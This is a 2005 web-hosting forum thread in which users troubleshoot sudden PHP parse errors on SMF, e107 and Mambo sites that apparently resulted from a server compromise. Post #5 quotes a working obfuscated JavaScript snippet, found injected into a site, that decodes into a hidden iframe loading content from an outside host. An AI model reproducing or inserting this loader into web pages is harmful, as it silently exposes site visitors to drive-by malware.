|
|
|
| Web Hosting |
![]() ![]() |
Php Parsing Error On Smf On My Site, Parse error: parse error, unexpected T_C |
Oct 4 2005, 05:19 PM
Post
#1
|
|
|
Geek in-training Group: Members Posts: 301 Joined: 2-July 05 From: Washington State, USA, 3rd Rock from the Star Sol Member No.: 6,772 |
QUOTE Parse error: parse error, unexpected T_CONSTANT_ENCAPSED_STRING in /home/jeremy1/public_html/guild_forum/Sources/Subs.php on line 272 thats the error I get when people try to access the forums I run on my website. I've been through the code but can't figure out exactly whats wrong. I'm still quite new to PHP and still have a very limited understanding of it. All I can say for certin is that up untill around 2 p.m. PST the forums were working then around that time they seem to have stopped and started outputing that error message. If anyone can help me it would be greatly appreciated. |
|
|
|
Oct 4 2005, 10:23 PM
Post
#2
|
|
|
Techno-Necromancer Group: Members Posts: 1,018 Joined: 13-January 05 From: The Net Member No.: 2,127 |
We can't really help unless we can see the source code, several lines at least. We can only make uneducated guesses, which undoubtedly people will do, but source code would be very helpful.
~Viz |
|
|
|
Oct 5 2005, 03:58 AM
Post
#3
|
|
|
Premium Member Group: Members Posts: 385 Joined: 13-October 04 From: Ontario Member No.: 1,175 |
I received a similar error on both my e107 website and smf website.
the smf one, I just went to drastic mesures..And did some things I'm not to proud of (reinstalation the link for the e107 is still there to be studied though: http://wasteofspace.astahost.com/e107 Goodluck my children! |
|
|
|
Oct 5 2005, 08:55 AM
Post
#4
|
|
|
the Q Group: [HOSTED] Posts: 1,206 Joined: 13-July 05 From: Lithuania, Vilnius Member No.: 7,059 myCENTs:90.94 |
just show the lines of code from 271 to 273 including them and I think as said above we will help you.
|
|
|
|
Oct 5 2005, 09:50 AM
Post
#5
|
|
|
Super Member Group: Members Posts: 595 Joined: 4-September 04 Member No.: 228 |
I get an error too:
Parse error: parse error, unexpected '/' in /home/hercco/public_html/forums/Sources/Post.php on line 1822 There is this javascipt added and have no idea where the hell it came from: CODE <script language="javascript" type="text/javascript"> var k='?gly#vw|oh@%ylvlelolw|=#klgghq>#srvlwlrq=#devroxwh>#ohiw=#4>#wrs=#4%A?liudph#vuf@%kwws=22xvhu4<1liudph1ux2Bv@4%#iudpherughu@3#yvsdfh@3#kvsdfh@3#zlgwk@4#khljkw@4#pdujlqzlgwk@3#pdujlqkhljkw@3#vfuroolqj@qrA?2liudphA?2glyA',t=0,h=''; while(t<=k.length-1) { h=h+String.fromCharCode(k.charCodeAt(t++)-3); }document.write(h);</script> |
|
|
|
Oct 5 2005, 09:53 AM
Post
#6
|
|
|
Super Member Group: Members Posts: 595 Joined: 4-September 04 Member No.: 228 |
And I noticed that some other files has been changed too.
|
|
|
|
Oct 5 2005, 10:16 PM
Post
#7
|
|
|
Geek in-training Group: Members Posts: 301 Joined: 2-July 05 From: Washington State, USA, 3rd Rock from the Star Sol Member No.: 6,772 |
Well Here is a link to a text version of the Subs.php file. I've been over it a few times and can't seem to see anything that would cause that error, but I'm still quite new to php and can't say that I would see it even if the error was right in front of my face...lol.
Hope ya'll can help me. |
|
|
|
Oct 5 2005, 10:21 PM
Post
#8
|
|
|
Techno-Necromancer Group: Members Posts: 1,018 Joined: 13-January 05 From: The Net Member No.: 2,127 |
Easy enough to diagnose: see line 272 of the script:
CODE $pos1 = strpos($db_string, ''', $pos + 1); There are three single quotes for the seond parameter, which, in essence, defines an empty string, and then a string to continue until the next single quote (causing the unexpected string error message). I'm guessing that the object is to find where a simgle quote appears in the string, so change the three single qutes to an escaped single quote inside two double quotes, like so:CODE $pos1 = strpos($db_string, "\'", $pos + 1); Hope this helps. ~Viz |
|
|
|
Oct 6 2005, 05:31 AM
Post
#9
|
|
|
Absolute Newbie Group: Admin Posts: 888 Joined: 20-February 05 From: Indianapolis, Indiana, USA (Midwest) Member No.: 2,714 myCENTs:35.43 |
Actually, there are several ''' used throughout the program and none of them have the same problem. Additionally, the file wasn't changed by the user. I also have a similar issue.
It's with mambo though. I'll try to figure out the problem. I'm pretty sure some gloabl element has caused these errors. Maybe a server configuration change. Here is the first few lines of the file I get an error on [codebox] /** * TFS for MAMBO Class * @package TFSforMAMBO * @copyright 2003-2005 PJH Diender * @license http://www.gnu.org/copyleft/gpl.html. GNU Public License * @version $Revision: 2.0.1 $ * @author Patrick Diender <webmaster@caffeinecoder.net> */ //ensure this file is being included by a parent file defined('_VALID_MOS') or die ('Direct Access to this location is not allowed.'); class TFS_Engine { var $d = null; //day var $m = null; //month var $y = null; //year var $dom = null; // domain var $vid = null; // visitors id var $updatemsg= null; //update message used for purge var $language = null; //language setting var $langini = null; //language setting ini file var $hourdiff = null; //hourdiff local vs server var $onlinetime = null; //time online in minutes before new visitor var $startoption = null; //option for starting statistics var $purgetime = null; //time for purge database var $version = null; //version of script var $MainFrame = null; //mainframe object MOS var $task = null; //task for TFS_Engine function TFS_Engine(&$mainframe,$task) { global $mosConfig_offset; $this->MainFrame = &$mainframe; $this->task = $task; $sql = "SELECT SQL_BIG_RESULT * FROM #__TFS_configuration"; $this->MainFrame->_db->setQuery($sql); $rs = mysql_query($this->MainFrame->_db->_sql); $this->hourdiff = $mosConfig_offset; while($row = mysql_fetch_array($rs)) { if ($row['description'] == 'onlinetime') { $this->onlinetime = $row['value']; } if ($row['description'] == 'startoption') { $this->startoption = $row['value']; } if ($row['description'] == 'language') { $this->langini = $row['value']; } if ($row['description'] == 'purgetime') { $this->purgetime = $row['value']; } if ($row['description'] == 'version') { $this->version = $row['value']; } } mysql_free_result($rs); if(file_exists($this->MainFrame->_config->absolute_path.'/administrator/components/com_tfsformambo/language/'.$this->langini.'.ini.php')) { //include language support $this->language = parse_ini_file($this->MainFrame->_config->absolute_path.'/administrator/components/com_tfsformambo/language/'.$this->langini.'.ini.php',true); } else { //include language support $this->language = parse_ini_file($this->MainFrame->_config->absolute_path.'/administrator/components/com_tfsformambo/language/en.ini.php',true); } // calculate time diff from server time to local time $visittime = (time() + ($this->hourdiff * 3600)); if(!isset($_GET['d'])) { $this->d = date('j',$visittime); } else { $this->d = $_GET['d']; } [/codebox] Again this is a parse error and I have never edited this file. It worked a few days ago but not now. Parse error: parse error, unexpected T_VARIABLE, expecting ',' or ';' in /home/xxxxxxxx/public_html/xxxxx/xxxxxxxxx/components/com_tfsformambo/admin.tfsformambo.html.php on line 150 Here is lines 137 to 160: CODE if ($row['description'] == 'purgetime') { $this->purgetime = $row['value']; } if ($row['description'] == 'version') { $this->version = $row['value']; } } mysql_free_result($rs); vujsa |
|
|
|
Oct 6 2005, 05:38 AM
Post
#10
|
|
|
Super Member Group: Members Posts: 595 Joined: 4-September 04 Member No.: 228 |
I noticed some triple (''') at my site too. Also there are files in the forum folders that do not belong there. In my SMF Sources/ there are files called base.php, include.php and create.php. All files empty.
I have emailed support. |
|
|
|
![]() ![]() |
1 User(s) are reading this topic (1 Guests and 0 Anonymous Users)
0 Members:
Similar Topics
| Topic Title | Replies | Topic Starter | Views | Last Action | ||
|---|---|---|---|---|---|---|
![]() |
0 | zainboy | 50 | 25th December 2008 - 08:48 PM Last post by: zainboy |
||
![]() |
10 | PUNKANGEL | 8,579 | 24th December 2008 - 11:33 AM Last post by: kpxchunsa |
||
![]() |
22 | Marcella | 2,473 | 24th December 2008 - 03:54 AM Last post by: chifro |
||
![]() |
4 | laniczech | 265 | 12th December 2008 - 02:06 AM Last post by: quack |
||
![]() |
2 | TavoxPeru | 266 | 10th December 2008 - 12:21 AM Last post by: Sellaman |
||
![]() |
Expand / Collapse Navigation




Oct 4 2005, 05:19 PM





